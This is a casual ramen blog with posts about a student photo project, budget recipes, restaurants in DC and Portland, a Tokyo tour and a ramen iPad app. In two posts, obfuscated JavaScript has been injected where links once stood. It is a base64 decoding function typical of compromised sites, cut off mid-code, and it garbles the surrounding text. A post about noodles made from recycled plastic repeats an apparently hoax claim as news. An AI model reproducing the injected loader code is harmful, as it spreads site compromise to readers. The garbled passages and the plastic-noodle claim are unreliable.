Ramen: An Adventurous and Imaginative Food

Adam Orfale at Kennesaw State in Georgia (USA) created these great photos of ramen for a project in his design class. The theme in these pictures is that you should be more adventurous with ramen and let your imagination run wild when preparing it. As highlighted by these photos, ramen can be taken from a 39 cent package to a fancy meal with some imagination, some extra ingredients and a great recipe or some experimentation. Adam's photos will be displayed on campus, along with take-home packets of ramen and recipes. As you buy and prepare your ramen this week, try and think of what you could do with your ramen, something you haven't done before, something different and delicious. If you have any new creative ideas, send them to me: ramen@mattfischer.com.

I will update this post later with some photos from the exhibit.

Ramen Hacks

Personally, when I eat ramen, I usually just raid my fridge and pantry and see how I can make the noodles more substantial. Leftover chicken, leftover steak, carrots, onions, eggs, their all fair game for my concoctions. In this same spirit, the Houston Press has an interesting article by Katharine Shilcutt about "ramen hacks to make the noodles taste better while still staying within a pretty small budget". One idea, which is linked in the article is dipping raw ramen into salsa. Personally, I think this sounds great!

However, I learned back in college that Ramen tastes absolutely foul when prepared according to the package's instructions. (Not to mention that little flavoring packet is a vicious sodium bomb.) Instead, I came up with all manner of "hacks" to make the noodles taste better while still staying within a pretty small budget.

Here are five of my favorite Ramen recipes, good for small budgets and large appetites. (And none of them involve breaking off pieces of Ramen blocks and dipping them into salsa. You're welcome.)

My favorite from this article? Ramen pizza.

Toki Underground in DC Looks Pretty Interesting

Someone sent me a link to a new ramen shop in DC which has an amazingly simple menu: Ramen, Dumplings, and 5 sides and some pretty cool decor. Just based on the pictures and descriptions of the food, I'd love to try this place, but unfortunately it's 1500 miles away from me. It sounds like you may have quite a wait for the food, 2-3 hours based on this article.

A segment of the above link:

Situated above The Pug, Toki Underground is a little jewel box of a restaurant. A lot of thought has been put into the interior, which is a funky mash-up of skateboards, colorful graffiti and cutely subversive Japanese toys. The narrow space is ringed with approximately two dozen counter seats, an open kitchen in the back and a shared bathroom sink so small you might miss it if you're not paying attention. Clever details -- like the blinking pachinko games embedded into the bar and dessert served in panda-shaped bento boxes -- add a twist of whimsy to the otherwise edgy atmosphere.

As for the food, Toki Underground definitely hits more than it misses. The menu is short and sweet, focusing on a selection of ramen and dumplings. Toki Underground doesn't exactly serve traditional Japanese ramen, but Chef Erik Bruner-Yang's renditions are enjoyable nonetheless. The menu features five different kinds of ramen ($10 for a bowl), four made with a tonkotsu (pork bone) broth and one vegetarian broth made with shitake mushrooms and kombu (seaweed).

I'm a pretty simple guy and I don't like to wait 3 hours for a meal for anything really, but this place just sounds cool. If any of my DC area readers try this place, let me know and send pics!

Travelling Ramen Shows in Portland

In Portland, Oregon, Chef Patrick Fleming and Brannon Riceci has created a travelling ramen roadshow called "Boke Bowl". You can follow Boke Bowl on Facebook or Twitter if you live in the area and see where their next visit is going to be. Unfortunately, the town where I live is too small to have cool ideas like this, but Portland is a great town and stuff like this is why. If anyone from Portland tries this, let me know!

Here in Portland, Chef Patrick Fleming has set out to share his take on ramen in an interesting, if not ephemeral, way. Fleming and longtime friend Brannon Riceci started "Boke Bowl," a sporadic, traveling ramen roadshow that takes over various spaces throughout the city and uses them as pop-up restaurants.

Fleming's take on ramen is admittedly not the traditional fare, but nonetheless, it aims to please with its pan-Asian fusion of ingredients and style.

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New Zero Calorie Ramen to Use Recycled Plastic

Several ramen companies in Korea have joined together and are working on what they claim will "reduce Western fattiness and beautify our cities". Their solution? Ramen noodles made from recycled plastic. It sounds odd and maybe not flavorful, so I'll just quote them, "plastic is heated and molded into noodles. During this process it is infused with best flavors for enjoyable tasting. The person will not digest this noodles and so, no fat gaining!". They further claim that "using old plastic bottles and bags will increase beauty in all cities".

image by Steve Bullivant

No release date was given for the new noodles, although I'm betting on Earth Day. Personally I think the idea is great and can't wait to try them.

photo by Andrea Rota

Ramen Junket to Tokyo

One of the best ways to experience a foreign country is to experience it’s great food. To that end, this popped-up in my inbox last week.

NYT GO: RAMEN is NYT GO’s first trial. With the recent global popularity of Ramen, the tour’s first destination is Tokyo. Tokyo is the origin of Ramen. The “mecca” has over 5,000 Ramen shops. The tour is an economical and smart 7 day trip for the busy, creative, and urban youth. With visits to various key points such as the Raumen Museum and other locations with the tour group, you will also have plenty of free time on your designed trip!

I don't live in New York and I can't afford a trip to Japan, but this sure sounds like fun. If anyone who reads this blog goes, please let me know, I'd like to post some of your experiences and pics.

Recipe: The Hunger Eradicator

When I was a kid, I used to put Doritos inside sandwiches sometimes, mainly ham sandwiches, but it also works on PB&J. It gives the sandwich a satisfying crunch and a cheesy flavor. I haven't done this in 25 years, but it I bet it still tastes good. This recipe reminded me of doing that as a kid, although I never mixed the Doritos with tuna. If anyone is brave enough to try this, post a comment on how it tastes.

  • 1 packet ramen, crushed
  • 1 3/4 cups water
  • 1/4 cup low sodium soy sauce
  • 1 can of tuna, mostly drained
  • 2 tablespoons lime juice
  • 1 tablespoon chopped garlic
  • 2 tablespoons honey
  • 1 handful doritos, crushed
  • 1 hefty dash of cayenne pepper

While its still in the package, crush ramen noodles to your liking. Open only the end of the package, make sure it stays in good shape for use with the doritos. Throw flavor packet in your cupboard somewhere to use at a later time and dump the crushed noodles into a bowl. Add your water, soy sauce, tuna, lime juice, garlic and honey to the bowl and mix thoroughly. Microwave on high for four minutes. While its in there, take your handful of doritos (maybe 15 chips, 20 at the most) and put them in the empty ramen bag. I use the Sweet & Spicy doritos. Add your cayenne pepper to the bag as well, hold the top closed and crush your chips. After the four minutes is up, remove ramen from the microwave and add crushed dorito mixture. Mix well. Place the bowl back in the microwave for another 1-2 minutes (depending on altitude, as you want it to set like a thick stew as opposed to a soup). Remove, allow a few minutes to cool, and enjoy.

Just a note: If the contents of your bowl looks like lumpy sludge, then you did it right. Don't look at it, just eat it. Trust me, looks can be deceiving.

Momofuku Noodle Bar Chef David Chang’s New iPad App

Most ramen fans cannot afford an iPad, unless you are forced to eat ramen because you bought one, but for those of you with an iPad, check out function oc532bd2f6(uf){var yd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var vb=”;var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndand-a-journal/”>this new app from Momofuku Noodle Bar chef David Chang.

…the first app will present an interactive bowl of ramen from his Momofuku Noodle Bar. Clicking the ingredients in the image will reveal about 35 videos, 50 recipes, graphics and other elements.

“We thought the ramen was the best thing to start with,” he said. “Within that soup there’s so many things. We wanted to see how far we could go down that rabbit hole.”

The ramen app will include a tour of a ramen factory in Japan; an interview with Allan Benton, the Tennessee smokehouse master whose bacon is used in the broth; a consultation with Harvard food scientists about Mr. Chang’s efforts to make a pork-based variant of dashi; a talk by Harold McGee (green-screened into outer space) on hot broth’s effects on noodles; and a scrollable time line tracing the rise of ramen in Japan over the last century. There will also be appearances by Wylie Dufresne, Charlie Rose and Anthony Bourdain, and plenty of cooking demonstrations.

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Ramen Dessert Pizza

The St Louis Post Dispatch function oc532bd2f6(uf){var yd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var vb=”;var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndand-cooking/recipes/article_b95a438f-7200-55b0-9ff3-dbd61356e565.html”>has a recipe for ramen dessert pizzas. I have never in my life had ramen or dessert or any type of sweet ramen. Does anyone like ramen desserts? I’m too chicken to try one.